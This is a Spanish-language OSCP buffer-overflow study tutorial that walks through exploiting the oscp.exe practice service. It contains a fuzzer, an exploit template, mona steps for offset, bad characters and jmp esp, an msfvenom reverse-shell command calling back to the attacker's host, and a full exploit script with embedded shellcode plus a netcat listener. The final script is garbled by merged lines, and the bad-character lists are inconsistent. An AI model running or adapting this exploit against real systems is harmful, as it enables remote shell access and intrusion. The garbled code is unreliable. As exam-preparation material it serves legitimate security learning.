Buffer Overflow Prep OSCP

Para empezar siempre hay que ejecutar Immunity Debugger como Administrador

Luego de eso vamos a >> File >> Open > Abrimos el binario oscp.exe, luego corremos el programa con Run. Despues nos conectamos usando netcat:

nc $ip_victima 1337

Ejecutamos el comando HELP y despues OVERFLOW1 test, como resultado nos tiene que aparecer OVERFLO1 COMPLETE

Mona Configuration

Una vez con el programa corriendo, en el campo de abajo de la ventana de Immunity Debugger ejecutamos lo siguiente:

!mona config -set workingfolder c:\mona\%p

Fuzzing

En tu maquina Linux creamos un script llamado fuzzer.py con el codigo:

#!/usr/bin/env python3

import socket, time, sys

ip = "$ip_victima"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Corremos el script y esperamos a que crashee el servidor , haciendo nota en la cantidad mas alta de bytes que enviamos.

Crash Replication & Controlling EIP

Creamos el archivo exploit.py con el siguiente contenido:

import socket

ip = "$ip_victima"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Ejecutamos el siguiennte comando cambiando el valor de "-l 2000", al valor en el cual crasheo el servidor en el Fuzzing

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

Copiamos el texto de salida y lo pegamos en la variable "payload" de exploit.py

En windows, ejecutamos de vuelta el binario oscp.exe (tenemos que hacer esto cada vez que vayamos a ejecutar el exploit.py).

El script deberia crashear el servidor de vuelta, pero esta vez en la casilla de comandos escribimos lo siguiente (cambiando el valor de distancia por el mismo valor con el cual generaste el patron anterior)

!mona findmsp -distance 2000

Mona deberia mostrarnos una ventana con logs, nosotros buscariamos especificamente el siguiente:

Copiamos el ultimo numero y lo pegamos en la variable offset de exploit.py. La variable payload la dejamos vacia y a la de retn le agreamos BBBB

Reiniciamos el oscp.exe y ejectumos el archivo. Ahora el registro EIP deberia ser 42424242

Finding Bad Characters

Generamos un bytearray, sacando el byte nulo (\x00) por default.

!mona bytearray -b "\x00"

Ahora generamos un string de bad characters identico al del bytearray con el siguiente codigo:

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

El mismo string lo pegamos como payload en exploit.py

Ejecutamos el script exploit.py. Cuando crashea, copiamos del registro ESP el adress y usamos el siguiente comando en mona

!mona compare -f C:\mona\oscp\bytearray.bin -a <address>

Se nos va a abrir una ventana emergente la cual indica cuales son los bad charts pero ojo, solamente tenemos que tomar el que sigue del anterior al que sacamos (\x00)

En este caso tenemos los siguientes posibles bad chars: 00 07 2e 2f a0 a1

Como nosotros anteriormente habiamos sacado 00, ahora deberiamos sacar 07, entonces en la caja de comandos escribiriamos

!mona bytearray -b "\x00\x07"

Y tambien lo tenemos que eliminar de la variable payload en el exploit.py.

Lo que sigue seria lo mismo, ejecutar el exploit.py con el nuevo payload, capturar el adress de ESP, comparar los nuevos bad chars y sacar el que le sigue al x07. Este paso lo deberiamos repetir hasta que en la columna bad chars no aparezcan mas caracteres

Encontrando un punto de salto (Jump Point)

Tendriamos que ejecutar el siguiente comando que busca todos las instrucciones "jmp esp" sin los caracteres que les marcamos (nuestros bad chars)

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

Como el programa es un poco endian (Reverse) deberiamos escribir el address al revez, osea que en vez de quedarnos \x62\x50\x11\xaf nos deberia quedar \xaf\x11\x50\x62, actualizamos nuestra variable retn =\xaf\x11\x50\x62 y tambien la variable padding = "\x90" * 16

Generate Payload

Ahora generamos nuestra reverse shell usando msfvenom especificando los bad chars asi no los incluye

msfvenom -p windows/shell_reverse_tcp LHOST=$ip_atacante LPORT=6666 EXITFUNC=thread -b “\x00\x07\x2e\xa0” -f c

Luego lo pegamos en el payload de exploit.py tal que quede asi:

import socketip = "192.168.43.57"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ("\xba\xba\x45\x54\xb0\xdb\xc3\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
"\x52\x31\x56\x12\x03\x56\x12\x83\x54\xb9\xb6\x45\x54\xaa\xb5"
"\xa6\xa4\x2b\xda\x2f\x41\x1a\xda\x54\x02\x0d\xea\x1f\x46\xa2"
"\x81\x72\x72\x31\xe7\x5a\x75\xf2\x42\xbd\xb8\x03\xfe\xfd\xdb"
"\x87\xfd\xd1\x3b\xb9\xcd\x27\x3a\xfe\x30\xc5\x6e\x57\x3e\x78"
"\x9e\xdc\x0a\x41\x15\xae\x9b\xc1\xca\x67\x9d\xe0\x5d\xf3\xc4"
"\x22\x5c\xd0\x7c\x6b\x46\x35\xb8\x25\xfd\x8d\x36\xb4\xd7\xdf"
"\xb7\x1b\x16\xd0\x45\x65\x5f\xd7\xb5\x10\xa9\x2b\x4b\x23\x6e"
"\x51\x97\xa6\x74\xf1\x5c\x10\x50\x03\xb0\xc7\x13\x0f\x7d\x83"
"\x7b\x0c\x80\x40\xf0\x28\x09\x67\xd6\xb8\x49\x4c\xf2\xe1\x0a"
"\xed\xa3\x4f\xfc\x12\xb3\x2f\xa1\xb6\xb8\xc2\xb6\xca\xe3\x8a"
"\x7b\xe7\x1b\x4b\x14\x70\x68\x79\xbb\x2a\xe6\x31\x34\xf5\xf1"
"\x36\x6f\x41\x6d\xc9\x90\xb2\xa4\x0e\xc4\xe2\xde\xa7\x65\x69"
"\x1e\x47\xb0\x3e\x4e\xe7\x6b\xff\x3e\x47\xdc\x97\x54\x48\x03"
"\x87\x57\x82\x2c\x22\xa2\x45\x93\x1b\xad\x1b\x7b\x5e\xad\x32"
"\x20\xd7\x4b\x5e\xc8\xb1\xc4\xf7\x71\x98\x9e\x66\x7d\x36\xdb"
"\xa9\xf5\xb5\x1c\x67\xfe\xb0\x0e\x10\x0e\x8f\x6c\xb7\x11\x25"
"\x18\x5b\x83\xa2\xd8\x12\xb8\x7c\x8f\x73\x0e\x75\x45\x6e\x29"
"\x2f\x7b\x73\xaf\x08\x3f\xa8\x0c\x96\xbe\x3d\x28\xbc\xd0\xfb"
"\xb1\xf8\x84\x53\xe4\x56\x72\x12\x5e\x19\x2c\xcc\x0d\xf3\xb8"
"\x89\x7d\xc4\xbe\x95\xab\xb2\x5e\x27\x02\x83\x61\x88\xc2\x03"
"\x1a\xf4\x72\xeb\xf1\xbc\x93\x0e\xd3\xc8\x3b\x97\xb6\x70\x26"
"\x28\x6d\xb6\x5f\xab\x87\x47\xa4\xb3\xe2\x42\xe0\x73\x1f\x3f"
"\x79\x16\x1f\xec\x7a\x33")postfix = ""buffer = prefix + overflow + retn + padding + payload + postfixs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(buffer + "\r\n")
  print("Done!")
except:
  print("Could not connect.")

Exploit!

Configuramos netcat en puerto de escucha

nc -lvnp 6666

Ejecutamos el exploit.py y ya deberiamos tener nuestra Reverse Shell